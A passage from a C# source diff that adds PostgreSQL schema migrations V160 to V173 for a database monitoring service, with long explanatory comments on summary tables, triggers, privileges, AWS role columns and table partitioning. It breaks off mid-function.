+    /// registry, as the schedules table has none: removing a server deletes its definition only and leaves its schedule
+    /// rows, so a removed server's run time stays as well, harmlessly. No Lite twin: Lite keeps its schedules in a JSON
+    /// file.</para>
+    /// </summary>
+    private const string V160Sql = @"
+/* V160 (#4938): a collector's optional run time, in its own table. Schema-qualified config.* like every rung. */
+CREATE TABLE IF NOT EXISTS config.config_collector_run_times (
+    server_id integer,
+    collector_name text NOT NULL,
+    run_at_minute smallint NOT NULL,
+    CONSTRAINT ck_config_collector_run_times_range CHECK (run_at_minute BETWEEN 0 AND 1439 OR (run_at_minute = -1 AND server_id IS NOT NULL))
+);
+CREATE UNIQUE INDEX IF NOT EXISTS ux_config_collector_run_times_fleet
+    ON config.config_collector_run_times (collector_name) WHERE server_id IS NULL;
+CREATE UNIQUE INDEX IF NOT EXISTS ux_config_collector_run_times_server
+    ON config.config_collector_run_times (server_id, collector_name) WHERE server_id IS NOT NULL;
+
+DROP TRIGGER IF EXISTS trg_bump_collector_run_times ON config.config_collector_run_times;
+CREATE TRIGGER trg_bump_collector_run_times
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_collector_run_times
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();";
+
+    /// <summary>
+    /// V161 (#5094) — <c>collect.query_store_top_daily</c> and <c>collect.query_store_top_daily_built</c>: a per-day
+    /// summary of <c>collect.query_store_interval_wide</c>, which <c>get_query_store_top</c>'s long windows read for the
+    /// whole UTC days inside the window instead of scanning every interval row.
+    ///
+    /// <para><b>Approximate by design.</b> A day's row is built once after the day ends (and rebuilt once more a day
+    /// later), so a wide-table row that changes after its day was summarized is missed, and a row whose collection time
+    /// moves into the next day after the first build can be counted in both days for about a day. Everything the table
+    /// holds is exactly recombinable for the rows it saw: <c>interval_rows</c>, <c>execution_count_sum</c>, and for each
+    /// of the six averaged columns a sum of the non-NULL values and a count of them (<c>_sum</c>, <c>_n</c>), so a
+    /// reader reproduces the unweighted mean of the interval averages as <c>SUM(_sum) / NULLIF(SUM(_n), 0)</c>. A reader
+    /// that uses it says so in its answer. Rebuilding a day is the builder's job: the service owns every write here, and
+    /// no reader or writer uses these tables yet.</para>
+    ///
+    /// <para><b>Plain tables, not hypertables</b>: one row per server, day and query identity, and the builder deletes
+    /// and re-inserts a whole day, which a compressed chunk would not allow. The key's column types are the wide
+    /// table's, copied, and the unique index is <c>NULLS NOT DISTINCT</c> because <c>replica_role</c>,
+    /// <c>module_name</c> and the others are NULL for most rows. <c>collect.query_store_top_daily_built</c> records
+    /// which days are built, at which pass, and how many wide-table rows the build read.</para>
+    ///
+    /// <para><b>No GRANT</b>: the <c>collect</c> schema's blanket <c>GRANT SELECT ON ALL TABLES</c> to the read-only
+    /// roles (re-run on every managed start and by <c>tools/provision-roles.sql</c>) covers a table a migration
+    /// introduces. Every statement is <c>IF NOT EXISTS</c>, so a second run changes nothing.</para>
+    /// </summary>
+    private const string V161Sql = @"
+/* V161 (#5094): the daily summary for get_query_store_top's long windows. APPROXIMATE by design: a day is summarized
+   after it ends, so a late change to a summarized day is missed. The builder owns every write. Schema-qualified
+   collect.* like every rung; plain tables; timestamps are naive UTC. */
+CREATE TABLE IF NOT EXISTS collect.query_store_top_daily
+(
+    server_id integer NOT NULL,
+    day date NOT NULL,
+    database_name text,
+    query_id bigint,
+    plan_id bigint,
+    query_hash text,
+    execution_type_desc text,
+    replica_role text,
+    module_name text,
+    interval_rows bigint NOT NULL,
+    execution_count_sum numeric,
+    avg_duration_us_sum numeric,
+    avg_duration_us_n bigint NOT NULL,
+    avg_cpu_time_us_sum numeric,
+    avg_cpu_time_us_n bigint NOT NULL,
+    avg_logical_io_reads_sum numeric,
+    avg_logical_io_reads_n bigint NOT NULL,
+    avg_logical_io_writes_sum numeric,
+    avg_logical_io_writes_n bigint NOT NULL,
+    avg_physical_io_reads_sum numeric,
+    avg_physical_io_reads_n bigint NOT NULL,
+    avg_rowcount_sum numeric,
+    avg_rowcount_n bigint NOT NULL,
+    last_execution_time_max timestamp,
+    query_plan_hash_max text,
+    first_execution_time_min timestamp
+);
+
+/* NULLS NOT DISTINCT: replica_role, module_name and the other key columns are NULL for most rows, and two NULLs must
+   be the same group. */
+CREATE UNIQUE INDEX IF NOT EXISTS ux_query_store_top_daily
+ON collect.query_store_top_daily
+(
+    server_id,
+    day,
+    database_name,
+    query_id,
+    plan_id,
+    query_hash,
+    execution_type_desc,
+    replica_role,
+    module_name
+)
+NULLS NOT DISTINCT;
+
+/* Which days are built, at which pass (1 = early, 2 = final), when, and how many wide-table rows the build read. */
+CREATE TABLE IF NOT EXISTS collect.query_store_top_daily_built
+(
+    server_id integer NOT NULL,
+    day date NOT NULL,
+    pass smallint NOT NULL,
+    built_at timestamp NOT NULL,
+    source_rows bigint NOT NULL,
+    CONSTRAINT pk_query_store_top_daily_built PRIMARY KEY (server_id, day)
+);";
+
+    /// <summary>
+    /// V162 (#5097) — <c>collect.slow_reads</c>: one row per read that ran long or ended in a timeout, error or
+    /// limit, with its normalised arguments, the source that answered, and each statement's time. Internal
+    /// self-telemetry like <c>collect.read_latency</c> (V148) and <c>collect.collector_stall_probes</c> (V112): not a
+    /// collector, absent from <c>CollectorCatalog.All</c>, covered by the collect schema's blanket GRANT. The writer
+    /// pays for retention and the row cap itself, so no outcome CHECK and no sweep entry.
+    /// </summary>
+    private const string V162Sql = @"
+CREATE TABLE IF NOT EXISTS collect.slow_reads
+(
+    slow_read_id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    read_time timestamp NOT NULL,
+    surface text NOT NULL,
+    route text NOT NULL,
+    outcome text NOT NULL,
+    total_ms integer NOT NULL,
+    server_id integer,
+    window_start timestamp,
+    window_end timestamp,
+    arguments jsonb NOT NULL,
+    arguments_truncated boolean NOT NULL,
+    source text,
+    source_reason text,
+    statements jsonb NOT NULL,
+    statement_count integer NOT NULL,
+    statements_truncated boolean NOT NULL,
+    error_class text,
+    row_count bigint
+);
+
+/* Newest-first read and the retention sweep are both by time; the id breaks ties in the read's total order. */
+CREATE INDEX IF NOT EXISTS idx_slow_reads_time
+    ON collect.slow_reads(read_time, slow_read_id);";
+
+    /// <summary>
+    /// V163 (#5097) — the store's own statement history: an hourly, delta-per-statement record of the store's
+    /// <c>pg_stat_statements</c>, so a statement's mean milliseconds per call can be read hour by hour across a store
+    /// restart, a service restart, a <c>pg_stat_statements_reset()</c> and the nightly upgrade.
+    ///
+    /// <para><b>Not a collector.</b> The store has no <c>servers</c> row and no <c>server_id</c>, and self-telemetry is
+    /// kept out of <c>CollectorCatalog.All</c> on purpose (V111's reasoning), which also keeps the hypertable
+    /// conversion and the catalog purge off these tables. The three tables are plain, like V111's and V161's. The
+    /// hourly store self-metrics tick writes them, and the writer pays for its own retention: 90 days, because
+    /// statement ids change with a major upgrade and a year of hourly rows would read as noise.</para>
+    ///
+    /// <para><b>Why a baseline table.</b> The per-target statement collector keeps its previous snapshot in process
+    /// memory and re-seeds it from stored rows after a restart. A top-N history cannot seed that way: a statement
+    /// left out of last hour's top N has no stored previous row. So the previous cumulative counters live in the store,
+    /// in <c>config.store_statement_baseline</c>, and the delta is computed in SQL. It is state and not collected data,
+    /// so it sits in <c>config</c> where no purge ages it out, the same reasoning as <c>config.store_log_read_marker</c>.
+    /// Provisioning re-grants every <c>config</c> table after migration, so it needs no GRANT here.</para>
+    ///
+    /// <para><b>No statement text.</b> The history stores the role and the query id only. A reader joins the live text
+    /// at read time, so a stored row can never hold a statement the reader function would withhold. There are no WAL or
+    /// temp-file columns beyond temp blocks written: the store's own statements do not move them.</para>
+    ///
+    /// <para><b>Reading the columns.</b> <c>max_exec_ms</c> is the longest single execution since the entry started
+    /// in the extension, not within the interval: it is cumulative and cannot be differenced. <c>first_seen</c> can be
+    /// an upper bound (an entry already there but missing from the baseline, such as a query id that became visible
+    /// after a grant or a renamed role, is credited its whole lifetime as one interval). An entry that was evicted and
+    /// re-added, and has already passed its old baseline, undercounts with no flag; <c>dealloc_delta</c> on the capture
+    /// is the hint. <c>statements_seen</c> is 0 on a <c>rebaselined</c> capture.</para>
+    ///
+    /// <para><b>No Lite twin.</b> Lite's store is DuckDB, which has no <c>pg_stat_statements</c>; the same structural
+    /// reason as V111.</para>
+    /// </summary>
+    private const string V163Sql = @"
+CREATE TABLE IF NOT EXISTS collect.store_statement_captures
+(
+    capture_time timestamp NOT NULL,
+    interval_seconds integer,
+    stats_reset timestamp,
+    dealloc bigint,
+    dealloc_delta bigint,
+    statements_seen integer NOT NULL,
+    statements_kept integer NOT NULL,
+    hidden_statements integer NOT NULL,
+    outcome text NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_store_statement_captures_time
+    ON collect.store_statement_captures(capture_time);
+
+CREATE TABLE IF NOT EXISTS collect.store_statement_history
+(
+    capture_time timestamp NOT NULL,
+    interval_seconds integer NOT NULL,
+    role_name text NOT NULL,
+    queryid bigint NOT NULL,
+    delta_calls bigint NOT NULL,
+    delta_total_exec_ms double precision NOT NULL,
+    delta_rows bigint NOT NULL,
+    delta_shared_blks_hit bigint NOT NULL,
+    delta_shared_blks_read bigint NOT NULL,
+    delta_temp_blks_written bigint NOT NULL,
+    max_exec_ms double precision,
+    first_seen boolean NOT NULL,
+    entry_restarted boolean NOT NULL,
+    reset_in_interval boolean NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_store_statement_history_time
+    ON collect.store_statement_history(capture_time);
+
+CREATE INDEX IF NOT EXISTS idx_store_statement_history_query
+    ON collect.store_statement_history(queryid, capture_time);
+
+CREATE TABLE IF NOT EXISTS config.store_statement_baseline
+(
+    role_name text NOT NULL,
+    queryid bigint NOT NULL,
+    calls bigint NOT NULL,
+    total_exec_ms double precision NOT NULL,
+    rows_returned bigint NOT NULL,
+    shared_blks_hit bigint NOT NULL,
+    shared_blks_read bigint NOT NULL,
+    temp_blks_written bigint NOT NULL,
+    captured_at timestamp NOT NULL,
+    CONSTRAINT pk_store_statement_baseline PRIMARY KEY (role_name, queryid)
+);";
+
+    /// <summary>
+    /// V164 (#4605) — the hourly row-count ledger of <c>collect.query_stats</c> and its one-row state table. The
+    /// count guard of the hourly-edges read compared raw row counts with the rollup's per (server, hour), a scan of
+    /// millions of rows that outran the panel deadline. The ledger is that count kept at write time, so the guard
+    /// reads a few thousand rows. The text, the counted population and the reasoning are on
+    /// <see cref="QueryStatsHourLedger"/>, which the rung embeds.
+    ///
+    /// <para><b>Both tables are empty when created</b> (the data-moving census therefore has nothing to declare), and
+    /// the rung inserts only the state row: <c>counted_since</c>, the next whole hour, below which every window is
+    /// uncounted and a reader stays on raw. The tables are plain and not collectors, like V111's and V162's.</para>
+    ///
+    /// <para><b>No GRANT and no provisioning change.</b> The <c>collect</c> schema carries blanket SELECT for
+    /// admin/viewer/mcp plus the owner-scoped <c>ALTER DEFAULT PRIVILEGES</c>, both re-asserted every managed start
+    /// (<c>DarlingManagedRoles</c>) and re-run in BYO mode by <c>tools/provision-roles.sql</c>, so the compose roles that
+    /// read these tables need no new statement, and the collector writes as the service owner.</para>
+    ///
+    /// <para><b>No Lite twin.</b> Lite's store is DuckDB, which has no continuous aggregates, so no rollup exists there
+    /// for a count guard to check.</para>
+    /// </summary>
+    private const string V164Sql = QueryStatsHourLedger.CreateSql;
+
+    /// <summary>
+    /// V165 (#5366) — the tables for the service's published password key: <c>config.password_key</c> (the public key,
+    /// one <c>current</c> row at most), <c>config.password_key_service</c> (what each service host holds and its state),
+    /// <c>config.legacy_secret_pin</c> and the one-row <c>config.legacy_secret_pin_marker</c>, seeded <c>pending</c>. The
+    /// text and the reasoning are on <see cref="PasswordKeyTables"/>, which the rung embeds.
+    ///
+    /// <para><b>Only the store owner writes them,</b> by a trigger created here on each table (a row trigger and a
+    /// TRUNCATE trigger, both enabled always), which refuses a write from any session that is not the owner. The
+    /// provisioning scripts also revoke every privilege on the four tables from PUBLIC, admin, viewer and mcp (so none
+    /// of them can add a trigger or a foreign key) and drop any trigger or foreign key already there. The two pin
+    /// tables have row security on with no policy.</para>
+    ///
+    /// <para><b>No Lite twin.</b> Lite keeps its secrets in its own local store.</para>
+    /// </summary>
+    private const string V165Sql = PasswordKeyTables.CreateSql;
+
+    /// <summary>
+    /// V166 — the PagerDuty auto-resolve opt-in. Adds <c>pagerduty_auto_resolve</c> to
+    /// <c>config.config_notification</c>: non-null with a FALSE default, so every existing row keeps the
+    /// shipped behaviour of NOT auto-resolving incidents with PagerDuty (the closing edge of an edge-type
+    /// pair stays an info-severity trigger; with the toggle on it becomes a <c>resolve</c> — see
+    /// <c>WebhookAlertService.BuildPagerDutyPayload</c>, which reads the column through
+    /// <c>IAlertSettings.PagerDutyAutoResolve</c>). Non-secret (a behaviour toggle, not a credential), so
+    /// unlike the routing key beside it, it stays in the read-only roles' SELECT grants —
+    /// <c>DarlingManagedRoles.ViewerRestrictedConfigTables</c> and <c>Darling/tools/provision-roles.sql</c>.
+    ///
+    /// <para><b>Numbered 166, the ladder's next free version</b> (the top was 165): the migration ladder is
+    /// applied and stamped in version order, so ANY free number >= 166 would apply on every store — but the
+    /// convention is dense, consecutive versions, and a gap would trip the ladder-density census.</para>
+    /// </summary>
+    private const string V166Sql = @"
+ALTER TABLE config.config_notification
+    ADD COLUMN IF NOT EXISTS pagerduty_auto_resolve boolean NOT NULL DEFAULT FALSE;";
+
+    /// <summary>
+    /// V167 (#5456) - the record of which old-format saved passwords were in the store at the upgrade:
+    /// <c>config.legacy_secret_pin_candidate</c>, with the hash of each stored value and the connection columns it is
+    /// saved for. The text and the reasoning are on <see cref="LegacyPinCandidateTables"/>, which the rung embeds. The
+    /// table and its two owner-only triggers are made first and the values are recorded after them in the same
+    /// transaction, and only while the one-time pin step is still open (a store whose step is done records nothing). V165
+    /// is not changed: a store already at 165 does not run it again, which is why this is a new rung.
+    ///
+    /// <para><b>No Lite twin.</b> Lite keeps its secrets in its own local store.</para>
+    /// </summary>
+    private const string V167Sql = LegacyPinCandidateTables.CreateSql + "\n\n" + LegacyPinCandidateTables.CaptureSql;
+
+    /// <summary>
+    /// V168 (#5448) — <c>collect.plan_regression_daily</c> and <c>collect.plan_regression_daily_built</c>: the per-day
+    /// per-plan totals PLAN_REGRESSION reads for CLOSED days instead of re-aggregating 14 days of
+    /// <c>collect.query_store_interval_latest</c> on every run, plus the trigger that marks a day stale when a late row
+    /// lands in it.
+    ///
+    /// <para><b>Totals, not averages.</b> A day's row holds the plan's execution count and the SUMS of
+    /// <c>avg_cpu_time_us * execution_count</c> and <c>avg_duration_us * execution_count</c>, which is what the read's
+    /// <c>plan_agg</c> step computes before it divides, so summing days and then dividing returns the same per-exec cost
+    /// as the single 14-day aggregate. Row day is the day of <c>last_execution_time</c> (naive UTC), the column the
+    /// read's window filters on. <c>query_plan_hash</c> is part of the unique key (the read's <c>any_value</c> picks one
+    /// hash per plan, and a day's rows keep each one), and the index is <c>NULLS NOT DISTINCT</c> because
+    /// <c>database_name</c>, <c>replica_role</c> and the others are NULL for some rows.</para>
+    ///
+    /// <para><b>The built table is the validity record.</b> <c>late_seq</c> counts the transactions that landed a late
+    /// row on a day (the trigger bumps a (server, day) once per transaction, not once per row, because a whole apply
+    /// is one transaction and tens of thousands of bumps of the same tuple inside it cost quadratic time), and
+    /// <c>built_seq</c> is the value the builder read BEFORE it aggregated: a day is valid only while the two
+    /// are equal, so a late row that lands after the build (even one that races it) leaves the day invalid and the
+    /// builder rebuilds it. The trigger marks the day of <c>first_execution_time</c> and the day after it, because
+    /// <c>last_execution_time</c> (the row's day) can cross midnight. It fires only for rows whose first execution is
+    /// at least a day old and no earlier than the start of the day 17 days back (a whole-day edge, so every day the
+    /// hourly cleanup still keeps can be marked): today and yesterday are always read live, and a row older than that
+    /// can never be read. The <c>WHEN</c> condition reads <c>NEW</c> only, because PostgreSQL does
+    /// not allow a subquery there.</para>
+    ///
+    /// <para><b>Plain tables, SECURITY INVOKER function, no GRANT</b>: the builder deletes and re-inserts whole days,
+    /// which a compressed hypertable chunk would not allow; the trigger function runs with the writer's own
+    /// privileges and pins <c>search_path</c> to <c>pg_catalog, pg_temp</c>, so it names every object schema-qualified;
+    /// and the <c>collect</c> schema's blanket <c>GRANT SELECT ON ALL TABLES</c> covers a table a migration introduces.
+    /// Every statement is idempotent, so a second run changes nothing. No index on
+    /// <c>query_store_interval_latest</c> is added here. V153's index on <c>first_execution_time</c> alone serves the
+    /// retention purge, which has no <c>server_id</c>; it does not serve the per-day builds, which bound
+    /// <c>server_id</c> and <c>first_execution_time</c>. That read's index, a btree on
+    /// <c>(server_id, first_execution_time)</c>, is built in the background (#5507,
+    /// <c>QueryStoreBackgroundIndexes.LatestServerFirstExec</c>), not by a rung, because a rung's build would run inside
+    /// the startup transaction and could pass the migration silence limit on a large store.</para>
+    /// </summary>
+    private const string V168Sql = @"
+/* V168 (#5448): per-day per-plan totals for PLAN_REGRESSION's closed days, and the trigger that marks a day stale when
+   a late row lands in it. Naive UTC throughout. The builder (the service) owns every write to the first table; the
+   function writes only plan_regression_daily_built, the rung's own bookkeeping table. */
+CREATE TABLE IF NOT EXISTS collect.plan_regression_daily
+(
+    server_id integer NOT NULL,
+    day date NOT NULL,
+    database_name text,
+    query_id bigint,
+    plan_id bigint,
+    replica_role text,
+    query_plan_hash text,
+    execs numeric,
+    cpu_us_sum numeric,
+    dur_us_sum numeric,
+    last_exec timestamp,
+    is_forced_plan boolean,
+    force_failure_count bigint
+);
+
+CREATE UNIQUE INDEX IF NOT EXISTS ux_plan_regression_daily
+ON collect.plan_regression_daily (server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash)
+NULLS NOT DISTINCT;
+
+CREATE TABLE IF NOT EXISTS collect.plan_regression_daily_built
+(
+    server_id integer NOT NULL,
+    day date NOT NULL,
+    late_seq bigint NOT NULL DEFAULT 0,
+    built_seq bigint,
+    built_at timestamp,
+    source_rows bigint,
+    CONSTRAINT pk_plan_regression_daily_built PRIMARY KEY (server_id, day)
+);
+
+CREATE OR REPLACE FUNCTION collect.plan_regression_daily_mark_late() RETURNS trigger
+LANGUAGE plpgsql
+SET search_path = pg_catalog, pg_temp
+AS $f$
+/* A (server, day) is bumped at most once per transaction. The apply is one statement, so tens of
+   thousands of late rows would otherwise run ON CONFLICT DO UPDATE on the same one or two built rows, and each update
+   leaves another version of that tuple inside the one transaction: every conflict check after it walks the whole chain
+   (166 buffers at 30,000 versions against 4 on a fresh row), and the batch grows quadratically. One bump is enough:
+   the builder reads late_seq before it aggregates, and the batch's rows commit together with the bump. The pairs
+   already bumped are kept in a transaction-local setting (set_config(.., true)), which a rolled-back savepoint undoes
+   together with the bump it recorded, and which the function's own SET search_path does not touch. Each key is
+   server_id:day-number between commas, so one lookup is a substring test; the 17-day clamp keeps the list to at most
+   17 pairs per server. After a commit the setting reads back as an empty string, not NULL. */
+DECLARE
+    d integer := NEW.first_execution_time::date - DATE '2000-01-01';
+    marked text := coalesce(nullif(current_setting('darling.plan_regression_marked', true), ''), ',');
+    k0 text := ',' || NEW.server_id || ':' || d || ',';
+    k1 text := ',' || NEW.server_id || ':' || (d + 1) || ',';
+    new0 boolean := position(k0 in marked) = 0;
+    new1 boolean := position(k1 in marked) = 0;
+BEGIN
+    IF NOT (new0 OR new1) THEN
+        RETURN NULL;
+    END IF;
+
+    INSERT INTO collect.plan_regression_daily_built AS b (server_id, day, late_seq)
+    SELECT NEW.server_id, v.d, 1
+    FROM (VALUES (NEW.first_execution_time::date, new0), (NEW.first_execution_time::date + 1, new1)) AS v (d, fresh)
+    WHERE v.fresh
+    ON CONFLICT (server_id, day) DO UPDATE SET late_seq = b.late_seq + 1;
+
+    PERFORM set_config('darling.plan_regression_marked',
+        marked || CASE WHEN new0 THEN substr(k0, 2) ELSE '' END || CASE WHEN new1 THEN substr(k1, 2) ELSE '' END, true);
+    RETURN NULL;
+END
+$f$;
+
+DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.query_store_interval_latest;
+CREATE TRIGGER trg_plan_regression_daily_late
+    AFTER INSERT OR UPDATE ON collect.query_store_interval_latest
+    FOR EACH ROW
+    WHEN (NEW.first_execution_time < date_trunc('day', now() AT TIME ZONE 'UTC') - interval '1 day'
+          AND NEW.first_execution_time >= date_trunc('day', now() AT TIME ZONE 'UTC') - interval '17 days')
+    EXECUTE FUNCTION collect.plan_regression_daily_mark_late();";
+
+    /// <summary>
+    /// V169 — the per-server AWS role (#5452). Adds to <c>config.config_monitored_servers</c> the IAM role Darling
+    /// assumes to reach an Amazon RDS or Aurora target (<c>aws_role_arn</c>) and the optional external ID that
+    /// goes with it (<c>aws_external_id</c>), plus <c>aws_external_id_set</c>, a stored generated flag the
+    /// read-only roles can SELECT in place of the ID itself. Every existing row gets NULL for all three, which is
+    /// "use the process's own credentials", exactly as before.
+    ///
+    /// <para><b>The constraint is a coarse backstop.</b> It refuses an external ID with no role (no term of the
+    /// CHECK can be NULL, so a NULL role with a non-NULL ID is false, not unknown), a role that is not an IAM role
+    /// ARN, and an external ID outside AWS's character set and length. The lengths are separate <c>char_length</c>
+    /// terms because PostgreSQL's regular expressions refuse a repeat count above 255. The exact rules, with their messages, live
+    /// in <c>AwsRoleSettings</c>; this only stops a blind write from storing a value no surface would accept.
+    /// Added behind a <c>pg_constraint</c> guard, as V62 does, so a re-run is a no-op.</para>
+    ///
+    /// <para><b>Idempotent and non-data-moving:</b> <c>IF NOT EXISTS</c> columns and the guarded constraint, no
+    /// rows rewritten by the script itself (the stored generated column fills from the table's own rows).
+    /// The columns are classified in <c>DarlingManagedRoles.ViewerRestrictedConfigTables</c> (the role and the
+    /// flag readable, the external ID not) and in <c>Darling/tools/provision-roles.sql</c>.</para>
+    ///
+    /// <para><b>No Lite twin.</b> Lite makes no AWS call.</para>
+    ///
+    /// <para><b>Numbered 169, the ladder's next free version</b> (the top was 168); the convention is dense,
+    /// consecutive versions.</para>
+    /// </summary>
+    private const string V169Sql = @"
+ALTER TABLE config.config_monitored_servers ADD COLUMN IF NOT EXISTS aws_role_arn text;
+ALTER TABLE config.config_monitored_servers ADD COLUMN IF NOT EXISTS aws_external_id text;
+ALTER TABLE config.config_monitored_servers ADD COLUMN IF NOT EXISTS aws_external_id_set boolean
+    GENERATED ALWAYS AS (aws_external_id IS NOT NULL) STORED;
+DO $$
+BEGIN
+    IF NOT EXISTS (SELECT 1 FROM pg_constraint
+                   WHERE conname = 'config_monitored_servers_aws_role_check'
+                     AND conrelid = 'config.config_monitored_servers'::regclass) THEN
+        ALTER TABLE config.config_monitored_servers
+            ADD CONSTRAINT config_monitored_servers_aws_role_check CHECK (
+                (aws_external_id IS NULL OR aws_role_arn IS NOT NULL)
+                AND (aws_role_arn IS NULL OR (aws_role_arn ~ '^arn:aws(-[a-z]+)*:iam::[0-9]{12}:role/[A-Za-z0-9_+=,.@/-]+$'
+                                              AND char_length(aws_role_arn) <= 2048))
+                AND (aws_external_id IS NULL OR (aws_external_id ~ '^[A-Za-z0-9_+=,.@:/-]+$'
+                                                 AND char_length(aws_external_id) BETWEEN 2 AND 1224)));
+    END IF;
+END $$;";
+
+    /// <summary>
+    /// V170 (#5495) — <c>collect.pg_io_stats_hourly</c> and <c>collect.pg_io_stats_hourly_state</c>: the hourly rollup of the
+    /// differenced PostgreSQL I/O counters that <c>get_pg_io_stats</c> and the viewer's I/O tab read for long windows. The text and
+    /// the reasoning are on <see cref="PgIoStatsHourly"/>, which the rung embeds. <b>Both tables are empty when created</b> (the
+    /// data-moving census has nothing to declare): the service's hourly tick fills them (<see cref="PgIoStatsHourlyBuilder"/>), for at
+    /// most <see cref="PgIoStatsHourlyBuilder.TickBudget"/> per tick, and a read stays on raw rows until its window is covered.
+    /// Plain tables, no GRANT (the <c>collect</c> schema's blanket SELECT covers them). <b>No Lite twin:</b> Lite has no PostgreSQL targets.
+    /// </summary>
+    private const string V170Sql = PgIoStatsHourly.CreateSql;
+
+    /// <summary>
+    /// V171 (#5571) — <c>collect.query_store_interval_wide</c> becomes a table partitioned by day on
+    /// <c>first_execution_time</c>, and the table that holds every row today is ATTACHED to it, whole, as
+    /// <c>query_store_interval_wide_legacy</c>. <b>No row is copied, moved or scanned.</b> V172 does the same for
+    /// <c>query_store_interval_latest</c>; the text is shared (<see cref="BuildQueryStoreIntervalPartitionRungSql"/>).
+    ///
+    /// <para><b>Why this is catalog-only (Erik's rules: no data copy, attach the current table, keep every startup
+    /// statement under <see cref="MigrationCommandTimeoutSeconds"/>).</b> Rename the table and its indexes, create an empty
+    /// partitioned parent with the same columns, and attach the renamed table with the bounds
+    /// <c>(MINVALUE) TO (MAXVALUE)</c>. That partition constraint is only <c>first_execution_time IS NOT NULL</c>, which the
+    /// column's <c>NOT NULL</c> already proves, so <c>ATTACH PARTITION</c> skips its validation scan; the live test reads
+    /// PostgreSQL's DEBUG1 line ("is implied by existing constraints") and the table's <c>seq_scan</c> counter to prove it.
+    /// The parent's indexes are made with <c>CREATE INDEX ... ON ONLY</c> and then <c>ALTER INDEX ... ATTACH PARTITION</c>,
+    /// never as a plain <c>CREATE INDEX</c> on the parent: a plain one BUILDS a child when no valid equivalent exists, and a
+    /// 91 GB build would blow the startup timeout, while <c>ATTACH</c> fails at once. An INVALID leftover (the #5507 shape) is
+    /// therefore dropped here and the background step rebuilds it; a missing one is left for the background step.</para>
+    ///
+    /// <para><b>The one wait.</b> The rename takes ACCESS EXCLUSIVE on the table, so a long reader (the viewer, an MCP
+    /// call) delays it; <c>lock_timeout</c> is <see cref="MigrationCommandTimeoutSeconds"/> less 20 s, V153's precedent, so
+    /// the rung fails with a lock error and the next start retries, instead of the command timing out mid-transaction.
+    /// No collector writes during a rung: migrations finish before collectors and the background work start.</para>
+    ///
+    /// <para><b>Guard, idempotence, order.</b> A table that is already partitioned (relkind <c>p</c>) is skipped, so a
+    /// re-run is a no-op. The parent is built <c>LIKE</c> the live table, so the column order is the live attnum order
+    /// that the positional writers use (V155's note); there is no <c>WITH</c> clause because PostgreSQL refuses storage
+    /// parameters on a partitioned table, and the legacy table keeps its fillfactor 50. The rung writes no GRANT: the new
+    /// parent gets the schema's default privileges (DarlingManagedRoles section 4), which cover a table the owner creates,
+    /// and a live test reads the parent as the viewer role.</para>
+    ///
+    /// <para>The names are fixed: <c>X_legacy</c>, and each index's own name plus <c>_legacy</c>. The partitions that
+    /// take over from the legacy table (daily partitions, the default partition, the NOT VALID CHECK on the legacy table)
+    /// are made by the background step, not here. <b>No Lite twin:</b> Lite has no reference to either table.</para>
+    /// </summary>
+    private static readonly string V171Sql = BuildQueryStoreIntervalPartitionRungSql(wide: true);
+
+    /// <summary>
+    /// V172 (#5571) — the same rung for <c>collect.query_store_interval_latest</c>, in its own migration so it gets its own
+    /// <see cref="MigrationCommandTimeoutSeconds"/> window. See <see cref="V171Sql"/>. This table also carries the
+    /// <c>trg_plan_regression_daily_late</c> row trigger (V168): the rung drops the legacy table's copy and creates it on the
+    /// parent, which clones it onto the legacy table (a row trigger on a partitioned table fires for rows written through it).
+    /// </summary>
+    private static readonly string V172Sql = BuildQueryStoreIntervalPartitionRungSql(wide: false);
+
+    /// <summary>
+    /// V173 (#5582) — the exact stamp-grain rollup of <c>collect.query_store_interval_wide</c>: <c>collect.query_store_compose_stamp</c>,
+    /// its per-(server, hour) validity table <c>_built</c>, the fleet-level <c>_hours</c> table, and two row triggers on the partitioned
+    /// PARENT <c>collect.query_store_interval_wide</c> (INSERT, UPDATE) that mark a (server, hour) stale when a row lands in, or leaves,
+    /// an hour the builder may have done. The text, the column map and the reasoning are on <see cref="QueryStoreComposeStamp"/>, which
+    /// the rung embeds. <b>Catalog-only:</b> the tables are created empty, and <c>CREATE TRIGGER</c> on a partitioned table is a catalog
+    /// change that clones the trigger onto each existing leaf (the legacy table, DEFAULT, the day partitions) without scanning one. The
+    /// lock timeout is <see cref="MigrationCommandTimeoutSeconds"/> less 20 s, as V171's, because the trigger needs a SHARE ROW EXCLUSIVE
+    /// lock on the parent and each leaf; no collector writes during a rung. Plain tables, no GRANT (the <c>collect</c> schema's blanket
+    /// SELECT covers them). The service's hourly tick fills the rollup (<see cref="QueryStoreComposeStamp.RunTickAsync(Npgsql.NpgsqlDataSource, DateTime, int, Microsoft.Extensions.Logging.ILogger, CancellationToken)"/>).
+    /// <b>No Lite twin:</b> Lite has no PostgreSQL store.
+    /// </summary>
+    private static readonly string V173Sql = "SET LOCAL lock_timeout = '" + (MigrationCommandTimeoutSeconds - 20) + "s';\n" + QueryStoreComposeStamp.CreateSql;
+
+    /// <summary>
+    /// The text of V171 and V172 (#5571). Plain literal DDL after token substitution, not dynamic SQL, so the data-moving
+    /// census can read the shipped text. Every statement is catalog-only; see <see cref="V171Sql"/>.
+    /// </summary>
+    private static string BuildQueryStoreIntervalPartitionRungSql(bool wide)
+    {
+        var table = wide ? "query_store_interval_wide" : "query_store_interval_latest";
+        var uniqueColumns = wide
+            ? "server_id, database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time, execution_type_desc"
+            : "server_id, database_name, runtime_stats_interval_id, plan_id, query_id, replica_role, first_execution_time";
+
+        const string optionalIndex = @"
+
+    IF to_regclass('collect.__NAME___legacy') IS NOT NULL THEN
+        IF (SELECT i.indisvalid FROM pg_index i WHERE i.indexrelid = to_regclass('collect.__NAME___legacy')) THEN
+            CREATE INDEX __NAME__ ON ONLY collect.__TABLE__ __DEFINITION__;
+            ALTER INDEX collect.__NAME__ ATTACH PARTITION collect.__NAME___legacy;
+        ELSE
+            DROP INDEX collect.__NAME___legacy;
+        END IF;
+    END IF;";
+
+        var sql = @"
+SET LOCAL lock_timeout = '" + (MigrationCommandTimeoutSeconds - 20) + @"s';
+DO $rung$
+BEGIN
